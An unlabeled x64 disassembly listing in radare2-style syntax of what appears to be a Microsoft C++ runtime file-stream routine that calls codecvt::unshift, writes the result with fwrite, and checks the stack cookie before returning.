call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005e64
sub eax, 1
je 0x140005e68
cmp eax, 2
jne 0x140005e9f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000fac0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140005e96
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140005e9f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140005e4c
xor al, al
jmp 0x140005e4c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000fac0
add rsp, 0x60
pop rbx
ret